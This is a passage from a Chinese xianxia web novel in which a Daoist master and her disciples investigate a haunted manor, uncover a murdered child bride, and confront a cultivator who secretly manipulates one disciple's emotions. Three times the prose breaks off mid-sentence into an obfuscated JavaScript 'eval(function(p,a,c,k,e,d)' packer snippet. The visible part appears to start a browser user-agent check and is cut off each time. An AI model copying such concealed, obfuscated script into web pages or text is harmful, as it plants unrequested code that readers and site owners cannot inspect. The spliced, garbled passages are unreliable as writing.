“嗯……”陆秋沉思着,给出了几个猜测“可能是生前关系不错,或者死后这小厮给了她好处。” “会不会有亲缘关系啊?”翠叶听到关系好,又想到这两人都是打杂的,不免往亲戚上靠拢。 “不会的,鬼的形成大多都有未尽的执念,若是有亲缘关系,只会有更激烈的反应,让还活着的人去完成他们的执念的。”陆秋面色沉重,显然这个小厮的出现打乱了他的原本计划。 “不对,”陆秋否定道:“也不是死后有关系,而是——他们根本就没关系。”他的表情变得十分凝重:“无论生前还是死后,只要和这鬼有关系,都会被缠上,被要求去完成他们的执念。”他终于开口打断了秋络和那小厮的谈话,问道:“你在这里工作多少年了?” “小的是老爷书童,自老爷读书起就在常府了。” “凡是在府中的人,你都见过吗?”陆秋逼问。 “见都见过,但要说全记得,那可不行。” 陆秋不再提问了,他心底隐隐约约觉得这小厮不对劲,但又说不上来。秋络被打断也不恼,反而赞同的点点头道:“有疑问是好事。”随后拿着那块焦黑的东西继续去往别屋。但别屋也都是淡淡的黑气,只有常老爷的屋内才有浓郁的黑雾,一直延伸到床上,又凝成液体滴落下来,仅是看着就让人感到生理不适。 “是老爷的妾吗?”翠叶又悄悄和陆秋交流。 “问问?”陆秋还在纠结那小厮的事情,对这次的主要任务已经不理睬了。 在秋络的询问下得知,常老爷的妻妾无一死亡,再看她们的模样,竟也都只是沾染了一丝黑气,更可以排除她们炼鬼的嫌疑,继而把这鬼往打杂的人身上靠拢。 “你来说说看。”秋络点到翠叶,让她分析一下如今的情况。 “府里的人都沾染了这黑气,又在后厨发现了源头,可能是给大家做饭的厨娘,都吃过她做的饭,所以都有黑气是很正常的。”翠叶分析的头头是道,但也把这身上没黑气的小厮漏过去了。 “他们埋在何处?”秋络问小厮。 “全在村外的坟山上。”他恭恭敬敬回答:“您可是要去坟山?” “去。” 于是小厮又带着他们三人去了坟山,常老爷和妻妾们觉得晦气,便留在了常府。见状,他们也不好勉强,只能三人跟着小厮在山上找尸体。有了黑气的指引,几人找的很快,不久便发现了一堆白骨,由于被啃食的过于干净,导致现在连在上面爬行的蚂蚁都没有多少。秋络半合着眼,拂尘一扫,念了句经;那小厮低下头去,口中念着逝者安息,拱手作揖;翠叶虽然也见过不少人骨,但被浓郁的黑气吓得已经说不出话来,只能呆呆的看着那堆骨头;陆秋也低头,但十分隐秘的用余光去瞄那小厮,面色自然。 “这是谁的骸骨?”秋络没有正眼看他,只是面带慈悲的望着白骨。 “是少奶奶的。” “为何让她曝尸荒野?” “这是老爷的命令……”小厮一双小眼转的飞快,额头上几乎都要滴下汗来,展示出他格外的慌张。 “这个是她的吧?”秋络拿着那块从火炉中撕下的东西,轻轻放在白骨的小腹处,在她收手的刹那,只见那块焦黑的东西迅速伸展,变白,最后也化为了一堆胎儿白骨,静静窝在其中。 小厮哭笑不得:“您别再问了,这事……小的说了可就活不成了!” 秋络起身拍拍衣摆灰尘,没再难为他,只是让他带路回常府。翠叶这会才反应过来,又想和陆秋说话,但看到他阴沉的盯着那小厮,刚歪过去的头又歪回来了。 “你说。”陆秋察觉到她想说话,虽然不是很想听,但又不能打击这个师妹的自信,打算一心二用,边观察边听。 “那个是少奶奶的执念,炉子里的是她的小孩,她没了孩子,所以有了执念。” “嗯。”陆秋点点头:“那我们都把孩子还回去了,她为什么还不走?” 翠叶这才意识到黑雾依旧浓郁,而且更加压得人喘不过气来,自己的猜想瞬间被推翻了,她在脑海中又疯狂寻找线索,只不过最后也没想到什么。陆秋也不难为她了,提醒道:“那个少奶奶看着还没你大呢。” 翠叶回想着,刚刚她太害怕导致自动屏蔽掉了那堆白骨,可现在回想,貌似真的是陆秋说的那样,这一细思,让她不禁打了个寒战。不过她又想起来常少爷也才十岁左右的样子,脑袋里灵光一现,突然知道了为什么常老爷屋里黑雾那么浓郁了。就在那一瞬间,她感觉血液都冲上头顶,耳鸣也更严重了,晕晕乎乎的只能跟着他们前进。她能想到的,那二人自然早就知道,但不能毫无证据就去质问常老爷,那小厮的嘴更是严得和什么似的,一句线索也不透露。 不过翠叶这次出来也只是跟着师父锻炼,一切跟着秋络来便可。秋络并未明说她的推测,只对常老爷表示,他们需要在这里过夜,夜间去抓那闹人的鬼。常老爷大手一挥,直接把上次几个道士的房间给他们住。 “那几个道士是怎么说的?”翠叶打量着房间,想从小厮这里问些事情。 “那几个道士就是骗人的!”小厮冲她挤眉弄眼:“你不知道啊,上次有群小道士,看起来也就只有十五六岁的模样,说是下山历练的,进来了就又拿罗盘又画符的,声势怪大的。”小厮撇撇嘴:“一点用没有!他们走了当晚鬼就又来了!” 陆秋此时也笑眯眯的挤了过来,问他:“这儿有什么好吃的吗?” “有!出了常府向北都是吃的。” “你经常去外面吃吗?”陆秋已经是那副好奇模样。 “小的都是跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“傀儡!”陆秋最终给出了答案:“还有可能是活傀儡!”活傀儡是鬼修操控活人,而傀儡还有可能并不知情,最终莫名其妙的成了替死鬼。 “你想怎么做?”秋络又端起茶杯吹了吹,但还是被烫的嘶了一声。 “当然是揪出来。”陆秋眉头皱起:“鬼修在这里扎根,也许这里所有人都会被影响到。” “你要考虑清楚。”秋络放弃喝茶,认真对他讲:“我们若是只处理这个事情,处理完了就会离开,不会惹上什么麻烦,你若是想从这里深挖,以后不仅麻烦,还会有很多挫折。” “我要做的就是惩恶扬善。”陆秋还是不屑道:“挫折也是成长的一部分。” “那你能分清善恶吗?”秋络眯起眼睛,手指轻敲着桌沿,发出有节奏的嗒嗒声。 “翠花死之前就有了鬼气,肯定是鬼修的鼓动,导致了这里人对她的霸凌,直到死亡,如果再不铲除这个鬼修,将会导致更多人的悲剧。” “嗯……”秋络没有表态,几息后歪了歪头,做了决定:“你看着办吧。”她又想了一会,才说:“不过,有时你的推测不一定是对的。” 门外的翠叶已经恢复了,烧香的时间过去,她现在已经看不见黑雾,头疼与耳鸣也随之消失,这时手腕上传来的凉意让她一哆嗦,不知是不是错觉,这条手绳中的小玉环貌似更亮了,散发着丝丝寒意。第一次和师父出来捉鬼,她还是很想展示自己的能力的,所以还认真回想起来,但最终只能想到是常老爷让自己儿媳妇怀孕了,最后打胎把胎儿扔到炉里毁尸灭迹,儿媳妇也死了。那么儿媳为什么还不走?是对常老爷恨吗?她又想到今天看到几乎每个人都有黑雾萦绕,又猜是否这位儿媳并不受欢迎,所以所有人都欺负她。 她想报复所有人吗?翠叶想到这里不觉发冷,手臂上鸡皮疙瘩都起来了。这时常少爷来了,看着仰首挺胸的少爷,她上前想问几个问题。这位少爷冷冷打量她,才嗤笑一声,貌似嘀咕着什么“穷酸”“见不得人”,最终又用怜悯的眼神示意自己也许可以回答几个问题。 5. 翠叶(5) “您的那位……”翠叶还没问出口,就被常少爷没好气的打断了:“什么我的?那个贱东西也敢往自己脸上贴金!” 翠叶一下收了声,心惊胆战的看着常少爷,看他发火莫名其妙的发了这么一通脾气,她心中也隐隐泛起怒气,但一想也不能和他闹僵,不然师父还要给她收拾烂摊子,只好等常少爷发完脾气。 少爷发完脾气,干脆全给她说了。他的童养媳是从别村一个普通农户家买来的,年纪不大还不会看脸色,所以干脆当仆人用了。结果后来有一天一个小妾突然揭发说这个童养媳不安分,爬老爷的床,大夫人当时就变了脸色,把童养媳罚了一顿,结果发现流产了,大家都说她和下人乱搞,还要说是老爷的。可是偏偏没过多久,童养媳咽气了,大家觉得晦气,就让其他人把尸体随便找个地儿扔了,结果不久之后就开始闹鬼,闹得他们都不安生,大家也觉得自己并没错,你自己错的怎么死了就怨他们了呢? 翠叶听得也不知如何是好,正当二人大眼瞪小眼时,王雪跑了过来,说是叫少爷去洗漱入睡,在少爷转身的时候,翠叶看见他朝自己眨巴了几下眼睛,随后又笑嘻嘻的带人离开了。翠叶在原地愣愣看着他们走远,才如梦初醒般急忙回屋,给秋络汇报自己知道的信息。 秋络全程一言不发,等听完翠叶的收获,她将目光投向窗外,看着已经黑下来的天色,叹气问道:“你觉得,此事如何是好?” “那个童养媳终究是外人,而且还,还不安分,找上了公公,不能因为她死了,就要祸害其他人吧?”翠叶小心的分析,看着秋络的脸色,见对方面色如常,便等着秋络发话。秋络不着急,摆摆手让她回屋睡觉,明早去给那童养媳收尸。 翠叶只好退出门去,刚要往自己的房间去时,就听见后方有脚步声,她向后看去,见到王雪拿着灯笼朝她走来。此刻虽然只有蜡烛为光源,翠叶却第一次感觉到真正的观察到他:从小就是家仆,长期弯腰导致了脊背弯曲直不起来,三十多岁像是五十多岁的模样。烛火被风吹的不停跳动着,光打在脸上映出暖橙色,她眼前好像浮现出了另一张脸:十分年轻,眼睛像是能蛊惑人心似的让人只能把视线集中到上面,而忽略其他的地方。 “这是少爷给您的。”王雪的声音一下把她拉回现实,她接过一个布包,突然觉得十分眼熟。她愣了一瞬,立刻打开了破旧的布包,发现里面有一根木刻的簪子,才意识到这个鬼到底是谁。 “她叫什么?”翠叶还是不死心,着急问出个答案:“在哪家买的?家里有几口人?” “叫翠花,不过过来了就是少奶奶,也没几个人记得叫什么。”王雪似乎就是要她死心,不紧不慢地一个个回答她:“那天老爷经过个村子顺手就买下的,只知道家里有个弟弟,不过后来少奶奶说还有个妹妹,不过也没人在意就是。” 翠叶彻底死心了,她摩挲着簪子上面还有略硌手的凸起,一时接受不了这件事,两人就这么站着,只余空中呼啸的风声。不久,王雪本就佝偻的背更低了,对她作揖:“请回房吧,明天还要去给少奶奶收尸呢!” 翠叶也不知道自己究竟是如何回去的,浑浑噩噩的躺到床上,脑海中突然又浮现了有关这簪子的片段。她们在泉边洗衣时无意发现了这支刚好掉落的桃枝,放到泉边冲洗干净了,再将外皮剥掉,就是个漂亮的簪子。二人争了好久,久到回家晚了被打一顿,每天都是谁抢到了谁戴,怕第二天抢不过,连睡觉宁愿被硌着都不想摘。就这样争了没几天,爹娘突然说家里揭不开锅了,送一个女儿去地主家过好日子。就这样,翠花带着这相当于嫁妆的簪子,再也没回来过。 翠叶直直躺在床上,眼睛一眨不眨的盯着天花板,泪水从眼角顺着流到太阳穴,再打湿鬓发,她又想起后来自己去洗衣,弟弟还抱怨大姐嫁得好了,为什么不给娘家送好东西。她感觉自己的心已经偏了,得知了鬼是翠花时,她无法说出严惩鬼的话来,更无法为地主辩驳了。 另一边,王雪刚出院门没有几步,就听见耳边一阵风声,他侧身躲过陆秋一剑,用灯笼柄挡住他的第二剑。剑被卡在灯笼柄中,一时间两人就这么陷入僵持。王雪眯起本就不大的眼睛,问道:“这位公子,您为何要擅闯常府啊?” 陆秋此时没有用幼童形态,而是用了现在应有的少年模样。按照他自小的训练来看,这个连修行都没有接触过的小厮,怎么可能会迅速反应过来并牵制住他。他尝试着抽刀,用力到整条手臂都在抖,却还是被卡得丝毫无法移动。陆秋脸色黑的比此时的天色都难看,心里盘算着下一步该如何是好,再尝试着套话。 “别装,你知道我是谁。”陆秋面上不显,其实后背早已布满冷汗,虽然一开始是他自作主张想要跟踪并拆穿王雪,但对方实力又让他忌惮,导致了他现在骑虎难下的处境。 王雪恍然大悟道:“哎呀!小的糊涂,原来是陆道长。” 陆秋脸色更难看了,他逼问到:“你有什么目的。” “小的依少爷命令,来给那位道长送东西。” “别装了!”陆秋打断他:“你一开始就在这里鼓动矛盾,翠花估计也不是你害的第一人吧。” 王雪没回答,嘻嘻一笑就突然消失了,连半点痕迹都没有,只留陆秋保持着刚刚的抬剑姿势。他愣了几秒,随后气的转身回院子,前脚刚踏进院门,抬眼就看见秋络坐在墙头磕着瓜子看他,见他注意到自己,还展示了一布包的瓜子,问道:“来吃点吗?” 陆秋气的眼前一黑差点原地晕过去。 “你都看见了。”陆秋笃定道:“为什么只是看着?” “小孩子打架,我插什么手?”秋络反问:“这都插手岂不是显得我小心眼?” “你!”陆秋憋得没话说:“你怎么知道那家伙是小孩?” “直—觉——”秋络拖着长腔,懒散的回他,同时闭上眼睛不看陆秋愤怒的表情,摆出“我早知如此”的模样道:“一点准备都没有,连人家的底都没摸清就去,要是这鬼修故意发难,你绝对讨不到好。” 陆秋也不说话了,他本来就不占理,现在仔细想想还真是自己行动鲁莽了,虽说秋络在一旁能够出手相助,但谁知对方还会不会有什么狠毒的法子。 他此刻感到难言的窘迫涌上心头,只能丢下一句“我去睡觉了”,匆忙离开。 秋络坐在墙头迟迟没有动作,等到陆秋的房间都没有了动静后,她才慢悠悠开口:“出来吧,我们聊聊。” 又是一阵寂静,一个人影才从一旁的花坛中钻出来。他笑眯眯的对秋络作揖道:“前辈怎会在此?” “自然是有同样的原因。”秋络不跟他打哑谜了,直接问他:“何仇何怨,竟然做到这种地步。” “路见不平,拔刀相助。”那人还是笑着回答。 “你和陆秋倒是很有共同话题。”秋络评价:“不过你比他强得多,无论是实力还是经验。” “前辈过奖了。”那少年显然也高兴起来,但该有的稳重依旧不减。 “你这一个举动,连你同门都被说成绣花枕头了。”秋络打趣他,他也丝毫不在意 :“虽说是同门,但关系也只能说是一般吧。” “讲一下吧,前因后果。”秋络一手撑住太阳穴,等他开口:“我听听和我知道的有什么不一样。” 少年开始讲述这一切的起因。 他和同窗都是第一次下山历练,到了常府后常老爷虽然觉得他们年纪小,看不起他们,但还是给他们安排了不错的待遇。 他们确实找到了女鬼翠花,大家发现女鬼很弱,只会搞破坏,没什么危害,但拿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你打算闹到什么地步?”秋络挑眉问他:“这里的人全死了再停手吗?” “自然不是。”少年反驳道:“看那女鬼怎么说呗,我也只是想助她完成执念的人罢了,我本身就不该搅这趟浑水。” “嗯,有理。”秋络点头表示认可,又轻飘飘的一瞥,问:“你知道我带来的是那女鬼的妹妹,所以还想把那孩子也牵连进去?” “怎会呢,只是受人之托,把遗物带给应得之人罢了。” 第二日听到了敲门声,才让翠叶突然惊醒,她慌忙双手撑着床沿下床,又着急穿鞋,边提鞋跟边喊:“来啦!” 她看着窗外大亮的天色,心中懊恼自己为何起的这样晚,都要别人来敲门叫自己。当她打开门,发现外面站着王雪。他面露担忧,见她出来,又勉强带上了笑,说道:“我家老爷今早突然昏了,怎么都喊不醒,那位仙长已经先过去诊治了,让小的随后来喊您。” 翠叶一听也匆忙跟着王雪跑去,路上还不忘点了香,给自己开灵视。还没踏进院门,就看见里面黑气浓得吓人,让她往里赶的脚步都停顿了一瞬。不过也只有一瞬,她又想到既然师父也在里面,自己当然也要进去,就只好一路向里,找到了坐在床边椅子上给常老爷把脉的秋络。秋络丝毫不慌,身边被黑雾包围了还表现的十分镇定, 只见她把拂尘一扬,宣布道:“婴灵索命。” 一旁的大夫人眉头紧皱,似乎对婴灵厌恶极了,她忙问:“婴灵不应该找母亲索命吗,为何会找上老爷?” “母亲都让老爷打死了,婴灵还能找谁呢?” 说完这句话,大夫人的脸色才算真正垮了,她知道在这位仙长面前无法隐瞒了,便直截了当问道:“怎么样能让这两个东西走。” 翠叶在一旁垂头听着,未梳理的头发盖住了脸,更看不清她的神色,不过此时也没有多少人会在意她,就像以前在家中一样,只有灰尘在空中飘荡。 6. 翠叶(6) “安葬,祭拜。”秋络轻飘飘的几个字却像一记重击狠狠砸在了众人痛处。 “凭什么!”有人不满了:“她难道就没有一点错吗?若不是她行为不端在前,又怎么会落得这个下场。” 周边的人都开始了窃窃私语,话语像是蚂蚁一样死命往不想听的人的耳朵里钻,翠叶看着地板,只觉得头疼欲裂,还有被人指着脊梁骨打压一般的羞耻,当她知道姐姐竟然会做出这样的事,遭人嫌弃,一时间觉得自己也抬不起头来。 “收尸去吧。”秋络站起身理衣服,不再理会身后的吵杂,喊上陆秋和翠叶就要一起去。这时王雪主动站了出来,提议自己带他们去,这样不会迷路,速度也能快些。 翠叶在后方垂头丧气的,自然没看见陆秋对王雪的怒视以及二人明里暗里的使绊子。 几人就以这么奇怪的组合去收尸,两个较劲的比谁收拾的快,暗自难过的挖土都快要把自己埋了,剩了唯一一个清醒的在一旁看热闹。 他们一开始问过了常老爷的意见,收尸该如何放置,即使秋络已经明确表示翠花必须得到应有的尊重才能放下执念离去,但常老爷最终眯起眼睛,从袖中又摸出一大块沉甸甸的银子,感叹道:“前几天来的那群毛头小子一看就没有经过事,那个志向比天都高,咱们多少都是摸爬滚打出来的。”他又往秋络手边递了递,“当年买下她的时候,只用了这半块呢。” 秋络神色一动,拂尘一甩,像往常那样低低念了句什么,随后接过银子,神色自若道:“自然。” “埋这里?”陆秋打断秋络发呆,将手中装了骨头的布包拎起来晃了几下示意她装完了。秋络指向翠叶,让他们去办,然后又安心当起了监工。 过程很顺利,等他们回去时常老爷也醒了,为表感谢,还多给了不少报酬。当翠叶再看向常府时,突然发现黑雾真的都消失了,于是她心中又猛地空了一块。 “这个给你。”秋络给了她块银子,拿着很沉,沉得让她感到发坠,让她想要问出口的话语都一起坠到了肚子里。 就像翠花那样简单的被买来,因为这点银子而永远沉默。 也许是离家太久,也有可能是发现姐姐早已死去带来的冲击太大,她竟然产生了一种回家的冲动,似乎只要回到家,重新拾起她要干的活,就能回到从前,回到一切没发生的时候。 可是……回到济王山上,她又回想起那天看见的满树尸体,打了个冷颤,虽然后来她问过尸体是怎么一回事,但陆秋也只是含糊回答了句:“有不怀好意的家伙想要捣乱”。 她也后知后觉害怕起来,因为她不知道为什么会是这群人,而且发现这群人是在自己遇到秋络那天遇见的。 如果她没有遇见秋络,是不是也会像这群人一样被吊死在树上?对死亡与未知的恐惧让她愈发珍惜这份修仙的机缘,只用了半个月来整理情绪,她就对秋络说,她想回家看看。 秋络看似波澜不惊,实则心里都快乐开花了,只嘱咐一句早去早回后就不再管她。翠叶拿上那一大块用布包起来的银子和练习用的木剑就下了山,虽然自己本身就没有钱,但她认为自己现在用不上钱,不如给家里,报答养育之恩,而且以后她还会有机会赚更多银子的。 当她踏进大门时,看见爹娘看向她的眼神有催促与不耐烦时,她愣住了,不过等掏出银子的瞬间,那对夫妻又立刻眉开眼笑,招呼她进屋,询问有没有吃过饭,亲切的模样换谁看了都要动容。 翠叶是跟着秋络学的心法,虽然是初级心法,但她已经有了基本的能力,比如辨认情绪。 所以刚刚不耐烦时真的,兴奋也是真的,不过一个是对人,一个是对物。 刚坐下还没有多久,又有两个老太进了他们家,说是来看好久不见的亲戚,翠叶看见两个陌生人自称亲戚,再加上上山前那段时间几乎所有人都想过来与她家打关系,她也是明白了怎么一回事。 陆秋这次来看热闹了,只不过蹲房顶上好长时间都没听到什么有意思的,便觉得来这里听这家虚伪的人的家常真是浪费时间。好在并没有让他等多久,就听见翠叶娘又问起来秋络还收不收徒弟。 陆秋当时就竖起了耳朵仔细听,他本以为翠叶还会乖乖的有什么说什么,结果在一阵寂静后,听见翠叶冷冷来了一句:“有意思吗?”他一个翻身解开房顶瓦片,心里感慨两个老家伙跟着吃了不少利,连房子都重新修了,记得翠花被收去前这瓦还一碰就掉呢,现在都得硬扣。 他往里看去,看见翠叶站着,对面是她爹娘,她面无表情斥责道:“真会往自己脸上贴金,以前是什么样子你们是什么样子一点都不知道吗?” 翠叶娘听到这话又想下意识的抬手扇她,但手都抬了起来又想起这人已经不仅仅是女儿,还是道长,以后没准还能是神仙,便又有几分胆怯,不甘的把手放下了,口中默念着:“你是我女儿,我生你养你这么不容易,本来想着你出去了,我和你爹都担心你吃不好,睡不好,你小的时候最不习惯不在家里睡……” “我很贱吗?”翠叶拆穿她:“我睡过房间吗?姐姐睡过吗?我们都睡在柴房。”她一说到翠花,情绪明显就激动起来,质问二人:“当时姐姐被卖了多少钱?” “也就你给的这银子的一半……你比你姐姐强,知道孝顺,她嫁过去都不给娘家好东西。” 翠叶一听更愤怒了,这句话无疑踩到了她新鲜的伤口上,不管怎样,她指着桌上的剩饭骂道:“问我有没有吃饭,就让我吃剩饭?每次都问弟弟能不能去拜师,怎么不问我怎么样?都这么想我,几步路的距离为什么不去看我?你们根本就不在乎!” 陆秋蹲在上面看的倒吸一口凉气,显然他也能理解翠叶的委屈,但今天她为什么一改往常,变得这么刚强了? 可能是受的刺激太大了,或者是最近的待遇让她也从潜意识里知道了自己身为修仙者的地位。 之后又是一顿争吵与那疯女人的摔打,说实话,普通修仙者的打斗都没这个有意思,不过等闹得结束了,翠叶也向天发毒誓,说自己此生不再对这个家有一丝留恋时,陆秋才意识到不太对劲。 当他还想看时,翠叶已经愤怒的奔上山去了,他也跟着回去的路上,才后知后觉想起在常府时那个小厮王雪找翠叶谈过话。他飞的更快了,还试图在翠叶回去前布置一个阵法检测一下翠叶是不是也让做成了活傀儡。 “的确……是妖魔所害。”一位女冠检查完尸首向村长汇报:“尸身不腐,此事以我们几人的修为,无法祛除诅咒。” 村长看着这已经近一年都没有腐败的尸体,面色铁青。 不过女冠很快给出了建议:“在来的路上,我似乎感受到还有一位前辈定居于此,也许她能够解决此事。” 村长面色更青了,他本就觉得这几人的死与那个仙姑来的时间相对应,心里笃定是那仙姑所害,才又向其他宗门报案让他们来查是怎么回事,结果来了不靠谱的年轻人开口就是要那仙姑来做法。 他左右为难着,首先不能就这么放着尸体不管,但这几个小道士又没法解决,而且如果再等,没准还要再等一年才能有道士来,尸体放这里谁都膈应;其次是自己既然知道有仙姑,还去找其他道士解决,难免会小心眼觉得村长看不起她,所以别捏的他又抽了两袋烟,才答应让那三个小道士去请仙姑。 刚刚检查尸体的女冠第一个不乐意了,细眉高高挑起,站出来反驳道:“是你要我们来的,而且处理尸体也是你的责任,凭什么你不去请,反而让我们几个小辈去请?” 她的态度可以说是咄咄逼人,村长一瞪眼,也不甘示弱的说道:“我一把老骨头了,怎么爬得了山!” “您昨天还犁了二亩地呢。”一旁那个嘴边有贪吃痣的小道士怼他:“不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯玉轩看着他就气不打一处来,现在他又学自己当时说话,羞愤交加当场就要用传音和对方骂起来。 黄琳快步前行,争取在他俩打起来时自己远离会被攻击到的范围。好在还没几步就到了,这时村长拄着拐开始咳嗽起来,一副要咳血的虚弱模样,靠着一旁的树要缓缓坐下,摆手道:“老夫……老夫走不动了,你们先去吧。” “你不会是想跑吧?”黄琳鄙夷的看着他,把他看的一激灵,还没沾到地的屁股又起来了,只好跟着他们一起进院子里。 秋络已经在院中坐着了,此时陆夕月弯腰在她耳边说了什么,秋络颔首道:“你先回去吧。” 陆夕月点头,转身走小门去了后院,留几人在这里谈话。 为首的黄琳作揖说明来意,面对尸身无法自己腐败的情况,他们认定是有妖魔作祟,但迫于能力不够,只能请秋络相助。秋络并没有因为村长没有第一时间请自己而有意见,还表示自己可以出手解决这些。 几人约好明天解决这件事,可是村长已经是一刻也不想等了,要是尸体再过一晚自己活过来跑了怎么办。 几人听完他的推测,不禁嘴角抽搐,有不赞同的,也有憋笑的,反正都到下午了,为何不休息呢? 最终秋络在三人期待的目光中,淡淡来了句:“事已至此,先休息吧。” 只有村长闷闷不乐的下了山,跑的堪比逮兔子的黄鼠狼,一点也看不出来上山时的虚弱模样。秋络拂尘晃了又晃,最终问黄琳:“常府怎么样了?” 黄琳笑起来,脸颊左侧有一个酒窝,看着更有少女的天真烂漫感。她对黄盛与冯玉轩下命令:“收拾屋子,收拾出哪间睡哪间。” 二人看她们有话说,飞快溜走了,甚至把地上的尘土都带起来一层。就在二人想聊天时,只见一把熟悉的剑直直冲着黄琳面门飞来。 7. 翠叶(7) 见秋络没有出手制止的意思,黄琳反应倒也快,迅速往远离秋络的一侧躲去,看着那把剑竟然又拐了个弯向自己飞来,他对陆秋的家族也有了些许猜测。 想法是想法,但是动作不能慢,她从芥子空间抽出一把铃铛,泛着古铜色光泽的铃铛被拿着这么一晃,剑飞的歪歪扭扭,速度也慢了下来。陆秋也赶到了,迅速回到十五六岁的模样与他肉搏。 只能说是每家的功法不一样,两人打的不分上下,正当陆秋一个手刀劈来,黄琳刚飞速躲到一旁的樱桃树后,就察觉到一股寒意袭来,黄琳意识到这棵树不能被打,只好又以灵力化盾,躲开攻击。 黄琳本想着打打是那么回事就够了,在前辈面前至少也要保持风度。但陆秋打红了眼,直接扑上去,泥人惹久了还会裂呢,她的风度也被这一下气的丝毫不剩。两人现在已经没有美感可言了,在地上就像两个未开智的灵兽,滚得一身灰。 二人正打得酣畅淋漓呢,就听见有人推开了大门,而那人正是被气得回来的翠叶。二人像是有过无数次配合似的的立刻起身收拾整齐,不见一点暴力形象。 秋络一边在心底默默感叹还没分出胜负怎么就被打断了,一边问翠叶:“怎么这么早就回来了?” 翠叶听师父这一问,刚刚那一幕的疑惑全消失了,而说不上来的委屈却立刻爆发了,她低下头去哽咽说道:“他们……他们根本不想我。” 陆秋怒瞪黄琳,黄琳此时更是心虚的只盯着自己的脚尖看,秋络看看他们的反应,心里隐约也知道了原因,让他们一起收拾房间,说自己要和翠叶谈谈心。 二人不敢再造次,灰溜溜的跑去找那先走的二人了。 刚离开她们视线没多久,陆秋就向对方发难:“你还来做什么?” “村长请的,让我们来处理你们吊死的尸体。”黄琳撇嘴加上挑眉,显出她的无奈感。 “呵,要是真想接,那份悬赏根本留不到现在。”陆秋拆穿她:“你们宗门都这么忙吗,普通悬赏都看不上?” “你要知道,我们是大宗门,弟子都要高人一等,这种级别的悬赏人家根本看都不看。再说了,我们不接,会有其他家族接的。” 陆秋听他这么说,脸色并不好看,因为他们家族也不会要这种程度的悬赏的,毕竟都是修仙者,总会有些瞧不起凡人的,而许多凡人有时也不知好歹,难以沟通。他只好换了话题:“你干嘛扮成这样?” “哪样?”黄琳一时也不知道他在说什么。 “女人模样。”陆秋直截了当。 “女人命嘛,”“她”反问:“你以为我想扮成女人吗?” 陆秋不说话了,他也意识到自己这个问题确实戳到了人家痛处,他也只好闭嘴了。不过黄琳是个会接话的,他看着沉默的陆秋,问道:“你平时干嘛变成小孩样子?” “让人放松警惕,大家族嘛,就这样。”陆秋几个字就解释了,他正想着既然翠叶也看见了,他干脆也不装了的时候,就看见远处自己老爹和两个陌生人蹲在院子边聊天。他太清楚自己爹是个什么性子,刚快步走过去,就听见一句“对吧我们的爱情故事真是催人泪下”。 更要命的是,那两人还真蹲在一旁听得入迷,黄琳还一副“我为什么没有听到”的表情。 “你们收拾完房间了?”黄琳问他俩。 两人你看我我看你,最终诚实的摇摇头。 “收拾到哪了?”他继续问。 两人还是摇头。 得,一点都没收拾。黄琳看着天上,默默说道:“收拾出来什么样的,就睡什么样的,收拾不出来,就到柴房睡。” 正当他们整理的热火朝天时,翠叶也和秋络谈完了,看着黄琳的房间依旧是灰蒙蒙的,她思索了很久,最终在他们第十几次看向她时才开口。 “黄姑娘和我一起睡吧,我的屋子干净一些。” 黄盛和冯玉轩以同样震惊的表情看向黄琳,黄琳端着几本古籍的手抖得像要把书晃散架,陆秋更是一副不可置信的模样,不过又迅速收敛起来在只心中默默观察黄琳的表情。 “这……太冒犯了。”黄琳轻咳一声:“我和秋前辈还有要事商谈,先走一步!” 屋里三人看着翠叶又低下去的头,不禁更看不起黄琳这落荒而逃的背影。 黄琳跑的也是心惊胆战,但到了主屋还是没有忘记礼貌,先敲门再进屋,然后成功在秋络八卦的眼神中落败下来。 “说说,怎么陆秋一见你就开打呢?他以前可不是这么冲动的孩子。”秋络靠在椅背上,端起茶等他自己分享故事。黄琳苦着脸,刚要开口,又被打断:“我习的心法是读心,有什么说什么吧。” 黄琳悬着的心终于死了,只能老老实实地把事情说了一遍。他对于血液的识别能力特别强,从翠花尸体上的残渣认出来和翠叶有着相同的血缘,所以笃定二人是姐妹,再加上他又从翠叶手绳上感知到了翠花的魂魄,因此知道该如何去帮翠花复仇。让翠叶认清现实是真,而且以他的视角来看,只有彻底远离她的家庭才是正确的。 所以他偷偷给翠叶种了线,虽然不至于让她变成活傀儡,但自己的举动完全可以左右对方的情绪,让被控制的一方觉得是自己的问题。所以今天翠叶一气之下和家里翻脸,赌气跑回来,都是他先前在常府不断地以翠花为主来压迫她的精神所导致的。 翠花起初不同意,但她终究还是小孩,在黄琳的威逼利诱下坚定地觉得翠叶必须和家里断绝往来才可以,也在帮助黄琳去翠叶的识海中埋线。 只能说陆秋完美继承了父母的优点,想的很快,而且证据充分,直接把他抓了出来。黄琳一边懊恼一边听秋络问他:“常府呢,怎么样了?” “内乱呗。”黄琳又说道自己自豪的点上了:“这么多的人,这么多矛盾,只需一个火花就能造成火灾。” 陆秋几人又在房间收拾许久,一道黑影从翠叶的手绳中飞速窜了出来,瞬间隐没在桌下的阴影中。 翠叶能力不够,自然没有察觉,但黄盛与冯玉轩同时看了过来。陆秋就在他们的目光中站到了桌前,还把桌布往下拉了拉,同时面无表情的看向二人。 那两人对视一眼,默默收回目光,黄盛突然说:“黄琳怎么去了这么久,会不会迷路了?” 冯玉轩做出思考的样子,也接起话来:“对啊,那家伙几步的路都找不到,咱去看看?” “走走走。”黄盛拉着他,两人和飞的一样迅速跑了出去,而翠叶也刚好拿了一摞书要送到书房去。她看看陆秋,陆秋指指还略显凌乱的桌子,示意自己不去了。 